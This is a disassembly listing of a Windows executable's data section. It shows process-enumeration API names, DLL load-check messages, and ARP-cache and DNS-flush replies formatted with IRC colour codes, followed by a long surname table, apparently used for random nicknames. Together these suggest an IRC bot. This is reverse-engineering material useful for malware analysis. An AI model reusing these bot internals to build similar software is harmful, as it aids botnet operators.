aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_42D330	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D4F0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D58C	dd 0			; DATA XREF: sub_40B08D+7o
off_42D590	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D5F8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D604	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
